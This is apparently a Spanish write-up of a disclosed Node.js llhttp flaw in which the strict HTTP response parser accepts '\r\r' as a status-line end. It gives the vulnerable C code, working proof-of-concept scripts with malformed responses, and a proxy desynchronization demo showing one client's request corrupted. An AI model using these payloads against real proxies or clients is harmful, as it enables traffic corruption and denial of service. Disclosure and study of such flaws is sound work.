Resumen
Node.js usa llhttp para interpretar el tráfico HTTP/1.1, tanto las peticiones que recibe un servidor como las respuestas que recibe un cliente (http.request). Según la RFC 7230 §3.1.2, la línea de estado de una respuesta debe terminar en CRLF (\r\n). El investigador comprobó que el parser de respuestas aceptaba también la secuencia \r\r: tras consumir el primer \r, un segundo \r se daba por fin de línea válido y el parser pasaba a leer cabeceras sin haber visto el LF obligatorio.
Lo relevante es que esto ocurre en el modo estricto, el de serie (insecureHTTPParser: false), sin ningún flag de tolerancia activado. Y que el parser de peticiones sí rechaza exactamente la misma secuencia con un 400 Bad Request. Esa diferencia de criterio —y la que hay entre Node.js y otros componentes HTTP más estrictos— es la base de un ataque de desincronización de respuestas (response queue poisoning).
- Componente afectado:
deps/llhttp/src/llhttp.c, estados_n_llhttp__internal__n_res_line_almost_done(línea 6130). - Versiones afectadas según el reporte: Node.js hasta la v24.14.1 (llhttp v9.3.0 / v9.3.1).
- Debilidad declarada en HackerOne: HTTP Request Smuggling. Severidad media.
Dónde está el fallo
El primer \r se consume al cerrar el estado del texto de estado:
s_n_llhttp__internal__n_span_end_llhttp__on_status_1: {
// ... on_status callback ...
p++; // ← CR is consumed here
goto s_n_llhttp__internal__n_res_line_almost_done;
}
En res_line_almost_done solo hay un caso explícito, el LF. Cualquier otro byte, incluido un segundo CR, cae en el default, que salta a la comprobación de flags de tolerancia (LENIENT_OPTIONAL_LF_AFTER_CR, flag 0x40). Aunque ese flag no está activo en modo estricto, el parser acababa aceptando el CR y continuaba con las cabeceras:
case s_n_llhttp__internal__n_res_line_almost_done: {
if (p == endp) return s_n_llhttp__internal__n_res_line_almost_done;
switch (*p) {
case 10: { // LF — valid
p++;
goto s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;
}
default: { // ANY byte (including CR) → lenient check
goto s_n_llhttp__internal__n_invoke_test_lenient_flags_29;
}
}
}
El equivalente en el lado de las peticiones (línea 3309) solo admite LF y, en modo estricto, cualquier otra cosa termina en error:
case s_n_llhttp__internal__n_req_http_complete_crlf: {
switch (*p) {
case 10: { // LF only — valid
p++;
goto s_n_llhttp__internal__n_headers_start;
}
default: { // CR or anything else → error in strict mode
goto s_n_llhttp__internal__n_invoke_test_lenient_flags_26;
}
}
}
Resultados de las pruebas (Node.js v24.14.1, llhttp v9.3.0)
| Prueba | Patrón | Esperado | Resultado | |---|---|---|---| | T1: normal | HTTP/1.1 200 OK\r\n... | Aceptar | Acepta | | T2: CR suelto | HTTP/1.1 200 OK\r\r... | Rechazar | Acepta | | T3: CR CR LF | HTTP/1.1 200 OK\r\r\n... | Rechazar | Rechaza | | T4: LF suelto | HTTP/1.1 200 OK\n... | Rechazar | Rechaza | | T5: CR suelto + Content-Length | HTTP/1.1 200 OK\r\rCL:4\r\n\r\nEvil | Rechazar | Acepta | | T6: petición con \r\r | GET / HTTP/1.1\r\rHost:... | Rechazar | Rechaza |
Pasos de reproducción
1. El cliente HTTP de Node.js acepta \r\r en la línea de estado
Se levanta un servidor TCP en bruto que contesta con la línea de estado terminada en \r\r, y se le hace una petición con http.request en modo estricto. Fichero poc_basic.js:
const http = require('http');
const net = require('net');
const server = net.createServer((sock) => {
// Response with bare CR (\r\r) as status line terminator instead of \r\n
const payload = 'HTTP/1.1 200 OK\r\rContent-Length: 4\r\n\r\nEvil';
sock.write(payload);
setTimeout(() => sock.end(), 300);
});
server.listen(19999, () => {
const req = http.request({
hostname: '127.0.0.1',
port: 19999,
path: '/',
method: 'GET',
insecureHTTPParser: false // strict mode (default)
}, (res) => {
let body = '';
res.on('data', (c) => body += c);
res.on('end', () => {
console.log('Status:', res.statusCode); // 200
console.log('Headers:', JSON.stringify(res.headers)); // {"content-length":"4"}
console.log('Body:', body); // Evil
server.close();
});
});
req.on('error', (e) => console.log('Error:', e.message));
req.end();
});
Se ejecuta con:
node poc_basic.js
En lugar de un error de parseo, Node.js entrega la respuesta como válida:
Status: 200
Headers: {"content-length":"4"}
Body: Evil
2. El servidor HTTP de Node.js rechaza lo mismo en una petición
Para comprobar la asimetría, se manda a un http.createServer una petición con la misma secuencia:
const http = require('http');
const net = require('net');
const server = http.createServer((req, res) => res.end('OK'));
server.listen(19998, () => {
const sock = net.createConnection({ host: '127.0.0.1', port: 19998 }, () => {
sock.write('GET / HTTP/1.1\r\rHost: localhost\r\n\r\n');
});
sock.on('data', (d) => {
console.log(d.toString().split('\r\n')[0]);
// Output: HTTP/1.1 400 Bad Request
server.close();
sock.destroy();
});
});
La respuesta es HTTP/1.1 400 Bad Request: aquí el parser sí aplica la regla.
3. Demostración completa de desincronización con un proxy estricto
El investigador adjuntó poc_full_demo.js (su código no aparece en el reporte público), que monta en un solo proceso un proxy inverso estricto con la RFC, un backend malicioso que responde con \r\r y dos clientes que comparten el pool de conexiones keep-alive del proxy:
Client A ──→ [Strict Proxy :18888] ──→ [Malicious Backend :18889]
Client B ──→ [Strict Proxy :18888] ──→ (same keep-alive pool)
node poc_full_demo.js
La secuencia que muestra es esta:
- El cliente A pide
/page1a través del proxy. - El backend responde con
HTTP/1.1 200 OK\r\rContent-Length: 6\r\n\r\nHello A. - El proxy estricto interpreta
\r\rcomo fin de la línea de estado seguido de línea vacía, es decir, una respuesta completa sin cabeceras ni cuerpo. El cliente A no recibeHello A. - Los 28 bytes restantes (
Content-Length: 6\r\n\r\nHello A) se quedan como datos huérfanos en la conexión del pool. - El cliente B pide
/page2por el mismo proxy, que reutiliza esa conexión. - El proxy antepone los datos huérfanos a la petición de B.
- El backend recibe una petición rota:
Content-Length: 6\r\n\r\nHello AGET /page2 HTTP/1.1\r\n...
- Como la "línea de petición" es
Content-Length: 6, el backend contesta400 Bad Requesty la petición legítima de B se pierde.
Extracto de la salida de la demo:
[PROXY] 🔴 BARE CR detected at offset 15!
[PROXY] STRICT PARSING: \r\r is INVALID per RFC 7230 §3.1.2
[PROXY] → Response is COMPLETE (no headers, no body)
[PROXY] Keeping 28 bytes as ORPHAN DATA
[PROXY] Orphan hex: 436f6e74656e742d4c656e6774683a20360d0a0d0a48656c6c6f2041
[CLIENT A] Contains "Hello A": false
[CLIENT A] 🔴 Body was STRIPPED by proxy!
[PROXY] ⚠️ PREPENDING 28 bytes of ORPHAN DATA to request!
[BACKEND] Request #3: Content-Length: 6
[BACKEND] 🔴 GARBLED REQUEST LINE! Orphan data was prepended!
[BACKEND] "Content-Length: 6\r\n\r\nHello AGET /page2 HTTP/1.1\r\n..."
[CLIENT B] 🔴🔴🔴 DESYNC CONFIRMED! 🔴🔴🔴
[CLIENT B] Got 400 Bad Request because:
[CLIENT B] Proxy prepended orphan data to Client B's request
[CLIENT B] Backend received garbled request → 400!
Hay que tener en cuenta que, en esta demo, el desajuste visible se produce entre el proxy estricto y el backend; el reporte no detalla qué papel concreto juega en ese escenario el cliente HTTP de Node.js, que es el componente que acepta el \r\r.
Impacto
Lo que la demo prueba de forma concreta es una desincronización entre dos componentes que no se ponen de acuerdo sobre dónde termina una respuesta: los datos sobrantes de la respuesta de un usuario contaminan la petición del siguiente que comparte conexión, y esa petición legítima acaba en 400 Bad Request. Es decir, corrupción de tráfico entre clientes y denegación de servicio.
Factores que el investigador destaca:
- Se produce con la configuración por defecto, sin
--insecure-http-parserni flags de tolerancia. - Basta con un backend malicioso o que colabore con el atacante; no hace falta ninguna otra condición especial.
- La regla se aplica de forma distinta a peticiones y respuestas dentro del mismo parser.
Además de lo demostrado, el reporte plantea como escenarios posibles en arquitecturas con proxy inverso: envenenamiento de caché (si el proxy guarda respuestas con límites mal calculados), filtración de cabeceras o cuerpo de la respuesta de un usuario hacia la petición de otro (y de ahí a logs o mensajes de error), y que un cliente reciba datos de la respuesta de otro en entornos multiusuario. Estos escenarios no se demuestran en el reporte.
Remediación
El programa marcó el reporte como resuelto; el texto público no detalla el parche aplicado. La corrección que propuso el investigador es que el estado res_line_almost_done (y su equivalente en el código TypeScript del que se genera llhttp) trate el CR de forma explícita y solo acepte LF como cierre de la línea de estado, igual que ya hace el parser de peticiones:
// In res_line_almost_done state — add explicit CR handling:
case 10: { // LF — only valid terminator
p++;
goto ...on_status_complete;
}
case 13: { // CR — NOT valid here, only LF should complete the line
goto s_n_llhttp__internal__n_error_97; // "Missing expected LF after response line"
}
default: {
goto s_n_llhttp__internal__n_invoke_test_lenient_flags_29;
}
Cronología: enviado el 4 de abril de 2026 y divulgado el 1 de julio de 2026. El reporte no indica recompensa ni CVE.